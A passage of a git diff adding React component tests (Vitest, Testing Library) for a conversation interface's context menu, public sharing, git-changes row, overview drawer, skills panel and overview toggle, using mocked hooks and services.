+    );
+
+    expect(
+      screen.getByTestId("conversation-name-context-menu"),
+    ).toHaveAttribute("data-position", "bottom");
+  });
+
+  it("should render correct text content for each menu option", () => {
+    const handlers = {
+      onRename: vi.fn(),
+      onDelete: vi.fn(),
+      onStop: vi.fn(),
+      onDisplayCost: vi.fn(),
+      onShowAgentTools: vi.fn(),
+      onShowSkills: vi.fn(),
+      onExportTranscript: vi.fn(),
+      onDownloadConversation: vi.fn(),
+    };
+
+    renderWithProviders(
+      <ConversationNameContextMenu {...defaultProps} {...handlers} />,
+    );
+
+    expect(screen.getByTestId("rename-button")).toHaveTextContent("Rename");
+    expect(screen.getByTestId("delete-button")).toHaveTextContent(
+      "Delete Conversation",
+    );
+    expect(screen.getByTestId("stop-button")).toHaveTextContent(
+      "Stop Conversation",
+    );
+    expect(screen.getByTestId("display-cost-button")).toHaveTextContent(
+      "Display Usage and Cost",
+    );
+    expect(screen.getByTestId("show-agent-tools-button")).toHaveTextContent(
+      "Show Agent Tools",
+    );
+    expect(screen.getByTestId("show-skills-button")).toHaveTextContent(
+      "Show Skills",
+    );
+    expect(screen.getByTestId("export-transcript-button")).toHaveTextContent(
+      "Export…",
+    );
+    expect(screen.getByTestId("download-trajectory-button")).toHaveTextContent(
+      "Download conversation data",
+    );
+  });
+
+  it("should call onClose when context menu is closed", () => {
+    const onClose = vi.fn();
+    const handlers = {
+      onRename: vi.fn(),
+    };
+
+    renderWithProviders(
+      <ConversationNameContextMenu
+        {...defaultProps}
+        onClose={onClose}
+        {...handlers}
+      />,
+    );
+
+    // The onClose is typically called by the parent component when clicking outside
+    // This test verifies the prop is properly passed
+    expect(onClose).toBeDefined();
+  });
+});
+
+describe("ConversationName public sharing", () => {
+  let updatePublicFlagSpy: ReturnType<typeof vi.spyOn>;
+  let writeTextSpy: ReturnType<typeof vi.spyOn>;
+
+  beforeEach(() => {
+    if (!("clipboard" in navigator)) {
+      Object.defineProperty(globalThis.navigator, "clipboard", {
+        configurable: true,
+        value: { writeText: () => Promise.resolve() },
+      });
+    }
+    writeTextSpy = vi
+      .spyOn(navigator.clipboard, "writeText")
+      .mockResolvedValue(undefined);
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        title: "Test Conversation",
+        status: "RUNNING",
+        public: false,
+      } as Conversation,
+    });
+    useActiveBackendMock.mockReturnValue({
+      backend: cloudBackend,
+      orgId: null,
+    });
+    updatePublicFlagSpy = vi
+      .spyOn(AgentServerConversationService, "updateConversationPublicFlag")
+      .mockResolvedValue({ id: "test-conversation-id", public: true } as never);
+  });
+
+  afterEach(() => {
+    updatePublicFlagSpy.mockRestore();
+    writeTextSpy.mockRestore();
+    vi.clearAllMocks();
+  });
+
+  it("renders the Public Share menu item on cloud backends", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    await user.click(screen.getByTestId("ellipsis-button"));
+
+    expect(screen.getByTestId("share-publicly-button")).toBeInTheDocument();
+  });
+
+  it("hides the Public Share menu item on local backends", async () => {
+    useActiveBackendMock.mockReturnValue({
+      backend: localBackend,
+      orgId: null,
+    });
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    await user.click(screen.getByTestId("ellipsis-button"));
+
+    expect(
+      screen.queryByTestId("share-publicly-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("calls the update service with the toggled flag when clicked", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    await user.click(screen.getByTestId("ellipsis-button"));
+    const toggleLabel = screen
+      .getByTestId("share-publicly-button")
+      .closest("label");
+    expect(toggleLabel).not.toBeNull();
+    await user.click(toggleLabel!);
+
+    expect(updatePublicFlagSpy).toHaveBeenCalledWith(
+      "test-conversation-id",
+      true,
+    );
+  });
+
+  it("uses the cloud environment domain for the share link and clipboard copy", async () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        title: "Test Conversation",
+        status: "RUNNING",
+        public: true,
+      } as Conversation,
+    });
+    const expectedUrl =
+      "https://app.all-hands.dev/shared/conversations/test-conversation-id";
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    await user.click(screen.getByTestId("ellipsis-button"));
+    expect(screen.getByTestId("open-share-link-button")).toHaveAttribute(
+      "href",
+      expectedUrl,
+    );
+
+    await user.click(screen.getByTestId("copy-share-link-button"));
+    expect(writeTextSpy).toHaveBeenCalledWith(expectedUrl);
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9912d302f4c156d13c0a08f7e1963e94d25890f6
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx
@@ -0,0 +1,140 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationOverviewDiffsRow } from "#/components/features/conversation/conversation-overview-diffs-row";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const navigateToTabMock = vi.fn();
+const closeDrawerMock = vi.fn();
+
+vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({
+  useConversationOverviewGitDiffStats: () => ({
+    additions: 12,
+    deletions: 4,
+    changeCount: 2,
+    isLoading: false,
+    isError: false,
+  }),
+}));
+
+const navigateToChangesMock = vi.fn();
+
+vi.mock("#/hooks/use-select-conversation-tab", () => ({
+  useSelectConversationTab: () => ({
+    navigateToTab: navigateToTabMock,
+    navigateToChanges: navigateToChangesMock,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: {
+      id: "conv-1",
+      git_provider: "github",
+    },
+  }),
+}));
+
+vi.mock(
+  "#/components/features/conversation/conversation-overview-drawer-context",
+  () => ({
+    useConversationOverviewDrawerOptional: () => ({
+      section: "skills",
+      openAdd: false,
+      openSection: vi.fn(),
+      closeDrawer: closeDrawerMock,
+    }),
+  }),
+);
+
+describe("ConversationOverviewDiffsRow", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    useConversationStore.setState({ messageToSend: null });
+  });
+
+  it("opens the git actions menu and sends commit, pull, push, and create PR prompts", async () => {
+    const user = userEvent.setup();
+    render(<ConversationOverviewDiffsRow />);
+
+    await user.click(
+      screen.getByTestId("conversation-overview-diffs-git-action"),
+    );
+
+    await user.click(
+      await screen.findByTestId("conversation-overview-diffs-git-commit"),
+    );
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "commit",
+    );
+
+    await user.click(
+      screen.getByTestId("conversation-overview-diffs-git-action"),
+    );
+    await user.click(screen.getByTestId("conversation-overview-diffs-git-pull"));
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "pull",
+    );
+
+    await user.click(
+      screen.getByTestId("conversation-overview-diffs-git-action"),
+    );
+    await user.click(screen.getByTestId("conversation-overview-diffs-git-push"));
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "push",
+    );
+
+    await user.click(
+      screen.getByTestId("conversation-overview-diffs-git-action"),
+    );
+    await user.click(
+      screen.getByTestId("conversation-overview-diffs-git-create-pr"),
+    );
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "pull request",
+    );
+  });
+
+  it("keeps diff numbers hidden while the git menu is open", async () => {
+    const user = userEvent.setup();
+    render(<ConversationOverviewDiffsRow />);
+
+    const stats = screen.getByTestId(
+      "conversation-overview-diffs-additions",
+    ).parentElement;
+
+    await user.click(
+      screen.getByTestId("conversation-overview-diffs-git-action"),
+    );
+
+    expect(stats).toHaveClass("opacity-0");
+  });
+
+  it("opens Diff view and closes open drawers when the changes label is clicked", async () => {
+    const user = userEvent.setup();
+    render(<ConversationOverviewDiffsRow />);
+
+    await user.click(screen.getByTestId("conversation-overview-diffs"));
+
+    expect(closeDrawerMock).toHaveBeenCalled();
+    expect(navigateToChangesMock).toHaveBeenCalled();
+    expect(navigateToTabMock).not.toHaveBeenCalled();
+  });
+
+  it("uses a full-row hover that clears when the git action is hovered", () => {
+    render(<ConversationOverviewDiffsRow />);
+
+    const row = screen.getByTestId("conversation-overview-diffs").closest("li");
+    const changesButton = screen.getByTestId("conversation-overview-diffs");
+    const gitAction = screen.getByTestId(
+      "conversation-overview-diffs-git-action",
+    );
+
+    expect(row).toHaveClass("hover:bg-white/5");
+    expect(row?.className).toContain(
+      "has-[.conversation-overview-diffs-git-action:hover]:bg-transparent",
+    );
+    expect(changesButton).not.toHaveClass("hover:bg-white/5");
+    expect(gitAction).toHaveClass("hover:bg-white/10");
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5ad02e370d5f905b499bd789a7a3a82569717687
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx
@@ -0,0 +1,260 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ConversationOverviewDrawerContent } from "#/components/features/conversation/conversation-overview-drawer-content";
+import {
+  ConversationOverviewDrawerProvider,
+  useConversationOverviewDrawer,
+} from "#/components/features/conversation/conversation-overview-drawer-context";
+import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import SkillsService from "#/api/skills-service";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import type { SkillInfo } from "#/types/settings";
+
+vi.mock("#/hooks/use-conversation-overview-stats", () => ({
+  useConversationOverviewStats: () => ({
+    workspaceName: "demo",
+  }),
+}));
+
+vi.mock("#/hooks/use-conversation-primary-repository", () => ({
+  useConversationPrimaryRepository: () => ({
+    repository: "openhands/agent-canvas",
+    provider: "github" as const,
+    branch: "main",
+    isConnected: true,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-repository-git-items", () => ({
+  useRepositoryPullRequests: () => ({
+    data: [],
+    isLoading: false,
+    isError: false,
+  }),
+  useRepositoryIssues: () => ({
+    data: [],
+    isLoading: false,
+    isError: false,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: { selected_workspace: "/workspace/project/demo" },
+  }),
+}));
+
+vi.mock("#/hooks/query/use-automation-health", () => ({
+  useAutomationHealth: () => ({
+    data: { status: "ok" },
+    isLoading: false,
+    refetch: vi.fn(),
+  }),
+}));
+
+vi.mock("#/hooks/query/use-automations", () => ({
+  useAutomations: () => ({
+    data: { automations: [], total: 0 },
+    isLoading: false,
+    isError: false,
+    refetch: vi.fn(),
+  }),
+  useToggleAutomation: () => ({ mutate: vi.fn() }),
+  useDeleteAutomation: () => ({ mutate: vi.fn(), isPending: false }),
+  useDispatchAutomation: () => ({ mutate: vi.fn() }),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackPrebuiltAutomationEnabled: vi.fn(),
+  }),
+}));
+
+vi.mock("#/hooks/use-create-automation-in-chat", () => ({
+  useCreateAutomationInChat: () => vi.fn(),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+  useIsCreatingConversation: () => false,
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+  useCreateConversation: () => ({ mutate: vi.fn(), isPending: false }),
+}));
+
+function buildSkill(overrides: Partial<SkillInfo> = {}): SkillInfo {
+  return {
+    name: "deno",
+    type: "knowledge",
+    source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md",
+    description: "Use this skill for Deno projects.",
+    triggers: ["deno"],
+    version: "1.0.0",
+    license: "Apache-2.0",
+    compatibility: null,
+    metadata: null,
+    allowed_tools: null,
+    is_agentskills_format: true,
+    disable_model_invocation: false,
+    ...overrides,
+  };
+}
+
+function OpenSection({
+  section,
+}: {
+  section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION];
+}) {
+  const { openSection } = useConversationOverviewDrawer();
+  return (
+    <button
+      type="button"
+      data-testid="open-drawer-section"
+      onClick={() => openSection(section)}
+    >
+      Open
+    </button>
+  );
+}
+
+function renderDrawer(
+  section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION],
+) {
+  return render(
+    <ConversationOverviewDrawerProvider>
+      <OpenSection section={section} />
+      <ConversationOverviewDrawerContent />
+    </ConversationOverviewDrawerProvider>,
+    {
+      wrapper: ({ children }) => (
+        <QueryClientProvider
+          client={
+            new QueryClient({
+              defaultOptions: { queries: { retry: false } },
+            })
+          }
+        >
+          <ActiveBackendProvider>{children}</ActiveBackendProvider>
+        </QueryClientProvider>
+      ),
+    },
+  );
+}
+
+describe("ConversationOverviewDrawerContent", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      MOCK_DEFAULT_USER_SETTINGS,
+    );
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]);
+  });
+
+  it("places the close button left of the title and the add control on the right", async () => {
+    const user = userEvent.setup();
+    renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills);
+
+    await user.click(screen.getByTestId("open-drawer-section"));
+
+    const header = screen
+      .getByTestId("conversation-overview-drawer-content")
+      .querySelector("header");
+    expect(header).not.toBeNull();
+    expect(header).toHaveClass("h-10");
+    expect(header).toHaveClass("min-h-10");
+    expect(header).toHaveClass("pr-4");
+    expect(
+      within(header as HTMLElement).getByTestId(
+        "conversation-overview-skills-add-skill-button",
+      ),
+    ).toHaveClass("h-7");
+
+    const headerItems = within(header as HTMLElement).getAllByRole("button");
+    expect(headerItems[0]).toHaveAttribute(
+      "data-testid",
+      "conversation-overview-drawer-close",
+    );
+    expect(headerItems[1]).toHaveAttribute(
+      "data-testid",
+      "conversation-overview-skills-add-skill-button",
+    );
+  });
+
+  it("opens the add skill modal from the header add button", async () => {
+    const user = userEvent.setup();
+    renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills);
+
+    await user.click(screen.getByTestId("open-drawer-section"));
+    await user.click(
+      await screen.findByTestId("conversation-overview-skills-add-skill-button"),
+    );
+
+    expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument();
+  });
+
+  it("shows the automations add button in the header", async () => {
+    const user = userEvent.setup();
+    renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.automations);
+
+    await user.click(screen.getByTestId("open-drawer-section"));
+
+    expect(
+      await screen.findByTestId("conversation-overview-automations-add"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-automations-panel")
+        ?.querySelector(
+          '[data-testid="conversation-overview-automations-add"]',
+        ),
+    ).toBeNull();
+  });
+
+  it("shows the mcp add button in the header", async () => {
+    const user = userEvent.setup();
+    renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.mcp);
+
+    await user.click(screen.getByTestId("open-drawer-section"));
+
+    const header = screen
+      .getByTestId("conversation-overview-drawer-content")
+      .querySelector("header");
+    expect(
+      within(header as HTMLElement).getByTestId(
+        "conversation-overview-mcp-add-server",
+      ),
+    ).toBeInTheDocument();
+  });
+
+  it("places the view-on-provider link in the header for pull requests", async () => {
+    const user = userEvent.setup();
+    renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests);
+
+    await user.click(screen.getByTestId("open-drawer-section"));
+
+    const header = screen
+      .getByTestId("conversation-overview-drawer-content")
+      .querySelector("header");
+    const externalLink = within(header as HTMLElement).getByTestId(
+      "conversation-overview-pull_requests-open-external",
+    );
+
+    expect(externalLink).toHaveAttribute(
+      "href",
+      "https://github.com/openhands/agent-canvas/pulls",
+    );
+    expect(externalLink).toHaveTextContent(
+      "CONVERSATION$OVERVIEW_VIEW_ON_PROVIDER",
+    );
+    expect(
+      screen
+        .getByTestId("conversation-overview-pull_requests-panel")
+        .querySelector(
+          '[data-testid="conversation-overview-pull_requests-open-external"]',
+        ),
+    ).toBeNull();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..44b490704e8d610a829d4d4758009abf79028d8e
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx
@@ -0,0 +1,289 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationOverviewPanel } from "#/components/features/conversation/conversation-overview-panel";
+import { NavigationProvider } from "#/context/navigation-context";
+import { ConversationOverviewDrawerProvider } from "#/components/features/conversation/conversation-overview-drawer-context";
+import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types";
+
+const openSection = vi.fn();
+const closeDrawer = vi.fn();
+const navigateToCommits = vi.fn();
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({
+  useConversationOverviewGitDiffStats: () => ({
+    additions: 4161,
+    deletions: 1824,
+    changeCount: 3,
+    isLoading: false,
+    isError: false,
+  }),
+}));
+
+vi.mock("#/hooks/use-select-conversation-tab", () => ({
+  useSelectConversationTab: () => ({
+    navigateToTab: vi.fn(),
+    navigateToChanges: vi.fn(),
+    navigateToCommits,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: {
+      id: "conv-1",
+      selected_workspace: "/workspace/project/demo",
+      llm_model: "openhands/test-model",
+    },
+  }),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({
+    data: {
+      llm_model: "openhands/test-model",
+      agent_settings: {
+        mcp_config: {
+          mcpServers: {
+            example: {
+              url: "https://example.com/mcp",
+            },
+          },
+        },
+      },
+    },
+  }),
+}));
+
+vi.mock("#/hooks/use-conversation-primary-repository", () => ({
+  useConversationPrimaryRepository: () => ({
+    repository: "openhands/agent-canvas",
+    provider: "github" as const,
+    branch: "main",
+    isConnected: true,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-unified-git-commits", () => ({
+  useUnifiedGitCommits: () => ({
+    commits: [{ sha: "abc" }, { sha: "def" }, { sha: "ghi" }],
+    hasMore: false,
+    isUnsupported: false,
+    isLoading: false,
+    isFetching: false,
+    isSuccess: true,
+    isError: false,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-repository-git-items", () => ({
+  useRepositoryPullRequests: () => ({
+    data: [
+      {
+        id: 1,
+        number: 10,
+        title: "Fix overview",
+        url: "https://github.com/openhands/agent-canvas/pull/10",
+        authorLogin: "dev",
+        updatedAt: null,
+      },
+    ],
+    isLoading: false,
+    isError: false,
+  }),
+  useRepositoryIssues: () => ({
+    data: [],
+    isLoading: false,
+    isError: false,
+  }),
+}));
+
+vi.mock("#/api/conversation-metadata-store", () => ({
+  getStoredConversationMetadata: () => ({
+    selected_workspace: "/workspace/project/demo",
+  }),
+}));
+
+vi.mock(
+  "#/components/features/conversation/conversation-overview-drawer-context",
+  async (importOriginal) => {
+    const actual = await importOriginal<
+      typeof import("#/components/features/conversation/conversation-overview-drawer-context")
+    >();
+    return {
+      ...actual,
+      useConversationOverviewDrawerOptional: () => ({
+        section: null,
+        openAdd: false,
+        openSection,
+        closeDrawer,
+      }),
+    };
+  },
+);
+
+function renderPanel() {
+  return render(
+    <NavigationProvider
+      value={{
+        currentPath: "/conversations/conv-1",
+        conversationId: "conv-1",
+        isNavigating: false,
+        navigate: vi.fn(),
+      }}
+    >
+      <ConversationOverviewDrawerProvider>
+        <ConversationOverviewPanel />
+      </ConversationOverviewDrawerProvider>
+    </NavigationProvider>,
+  );
+}
+
+describe("ConversationOverviewPanel", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    localStorage.clear();
+  });
+
+  it("renders workspace and git changes without MCP, secrets, skills, or automations", () => {
+    renderPanel();
+
+    expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument();
+    expect(screen.getByTestId("conversation-overview-workspace")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-git-title"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-mcp"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-automations"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-skills"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-secrets"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-issues"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows changes inside the git area with commits and pull requests when a repo is connected", async () => {
+    const user = userEvent.setup();
+    renderPanel();
+
+    const gitBlock = screen.getByTestId("conversation-overview-git-block");
+    const diffs = screen.getByTestId("conversation-overview-diffs");
+    expect(gitBlock).toContainElement(diffs);
+
+    const workspace = screen.getByTestId("conversation-overview-workspace");
+    const gitSection = screen.getByTestId("conversation-overview-git-section");
+    // Workspace sits below the git content.
+    expect(gitSection.compareDocumentPosition(workspace)).toBe(
+      Node.DOCUMENT_POSITION_FOLLOWING,
+    );
+    const repoLink = screen.getByTestId("conversation-overview-git-repo");
+    expect(repoLink).toHaveTextContent("openhands/agent-canvas");
+    expect(repoLink.getAttribute("href")).toContain("github.com");
+    const branchLink = screen.getByTestId("conversation-overview-git-branch");
+    expect(branchLink).toHaveTextContent("main");
+    expect(branchLink).toHaveAttribute(
+      "href",
+      "https://github.com/openhands/agent-canvas/tree/main",
+    );
+    expect(
+      screen.getByTestId("conversation-overview-commits-count"),
+    ).toHaveTextContent("3");
+    expect(
+      screen.getByTestId("conversation-overview-pull-requests-count"),
+    ).toHaveTextContent("1");
+
+    await user.click(screen.getByTestId("conversation-overview-commits"));
+    expect(navigateToCommits).toHaveBeenCalled();
+
+    await user.click(screen.getByTestId("conversation-overview-pull-requests"));
+    expect(openSection).toHaveBeenCalledWith(
+      CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests,
+    );
+  });
+
+  it("lets users pin and unpin git changes from the overflow menu", async () => {
+    const user = userEvent.setup();
+    renderPanel();
+
+    expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("conversation-overview-ellipsis"));
+    expect(
+      screen.getByTestId("conversation-overview-context-menu"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("conversation-overview-menu-divider-git"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+    ).toHaveAttribute("aria-pressed", "true");
+
+    await user.click(
+      screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+    );
+
+    expect(
+      screen.queryByTestId("conversation-overview-diffs"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+    ).toHaveAttribute("aria-pressed", "false");
+
+    await user.click(
+      screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+    );
+
+    expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+    ).toHaveAttribute("aria-pressed", "true");
+  });
+
+  it("lets users unpin the git section and individual git parts from the overflow menu", async () => {
+    const user = userEvent.setup();
+    renderPanel();
+
+    expect(
+      screen.getByTestId("conversation-overview-git-section"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("conversation-overview-ellipsis"));
+    expect(
+      screen.getByTestId("conversation-overview-menu-pin-git"),
+    ).toHaveAttribute("aria-pressed", "true");
+    expect(
+      screen.getByTestId("conversation-overview-menu-pin-git-branch"),
+    ).toHaveAttribute("aria-pressed", "true");
+
+    await user.click(
+      screen.getByTestId("conversation-overview-menu-pin-git-branch"),
+    );
+    expect(
+      screen.queryByTestId("conversation-overview-git-branch"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("conversation-overview-git-repo"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("conversation-overview-menu-pin-git"));
+    expect(
+      screen.queryByTestId("conversation-overview-git-block"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("conversation-overview-menu-pin-git"),
+    ).toHaveAttribute("aria-pressed", "false");
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ec89ba7b24c85bdb4e962c5594b3c047f197f1c7
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx
@@ -0,0 +1,106 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ConversationOverviewSkillsPanel } from "#/components/features/conversation/conversation-overview-skills-panel";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import SkillsService from "#/api/skills-service";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import type { SkillInfo } from "#/types/settings";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: { selected_workspace: "/workspace/project/demo" },
+  }),
+}));
+
+function buildSkill(overrides: Partial<SkillInfo> = {}): SkillInfo {
+  return {
+    name: "deno",
+    type: "knowledge",
+    source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md",
+    description: "Use this skill for Deno projects.",
+    triggers: ["deno"],
+    version: "1.0.0",
+    license: "Apache-2.0",
+    compatibility: null,
+    metadata: null,
+    allowed_tools: null,
+    is_agentskills_format: true,
+    disable_model_invocation: false,
+    ...overrides,
+  };
+}
+
+function renderPanel(openAdd = false) {
+  return render(<ConversationOverviewSkillsPanel openAdd={openAdd} />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({
+            defaultOptions: { queries: { retry: false } },
+          })
+        }
+      >
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("ConversationOverviewSkillsPanel", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      MOCK_DEFAULT_USER_SETTINGS,
+    );
+  });
+
+  it("opens the add skill modal when openAdd is true", async () => {
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]);
+
+    renderPanel(true);
+
+    expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument();
+  });
+
+  it("shows the empty state without an inline add skill button", async () => {
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]);
+
+    renderPanel();
+
+    expect(
+      await screen.findByTestId("conversation-overview-skills-empty"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-skills-add-skill-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("defaults to this-project scope and can show all skills", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({
+        name: "project-skill",
+        source: "/workspace/project/demo/.openhands/skills/project/SKILL.md",
+      }),
+      buildSkill({ name: "public-skill" }),
+    ]);
+
+    renderPanel();
+
+    expect(
+      await screen.findByTestId("conversation-overview-skills-scope"),
+    ).toBeInTheDocument();
+    expect(await screen.findByText("project-skill")).toBeInTheDocument();
+    expect(screen.queryByText("public-skill")).not.toBeInTheDocument();
+
+    await user.click(
+      screen.getByTestId("conversation-overview-skills-scope-option-all"),
+    );
+
+    expect(await screen.findByText("public-skill")).toBeInTheDocument();
+    expect(screen.getByText("project-skill")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5d6cd92535055e74bc4abec1c354caa32932914c
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx
@@ -0,0 +1,126 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationOverviewToggle } from "#/components/features/conversation/conversation-overview-toggle";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const { breakpointIsMobile } = vi.hoisted(() => ({
+  breakpointIsMobile: { value: false },
+}));
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+  useBreakpoint: () => breakpointIsMobile.value,
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+  useIsArchivedConversation: () => false,
+}));
+
+vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({
+  ConversationOverviewPanel: () => (
+    <div data-testid="conversation-overview-panel" />
+  ),
+}));
+
+describe("ConversationOverviewToggle", () => {
+  beforeEach(() => {
+    breakpointIsMobile.value = false;
+    useConversationStore.setState({
+      isOverviewPanelShown: false,
+      isOverviewPanelPeeked: false,
+      isRightPanelShown: false,
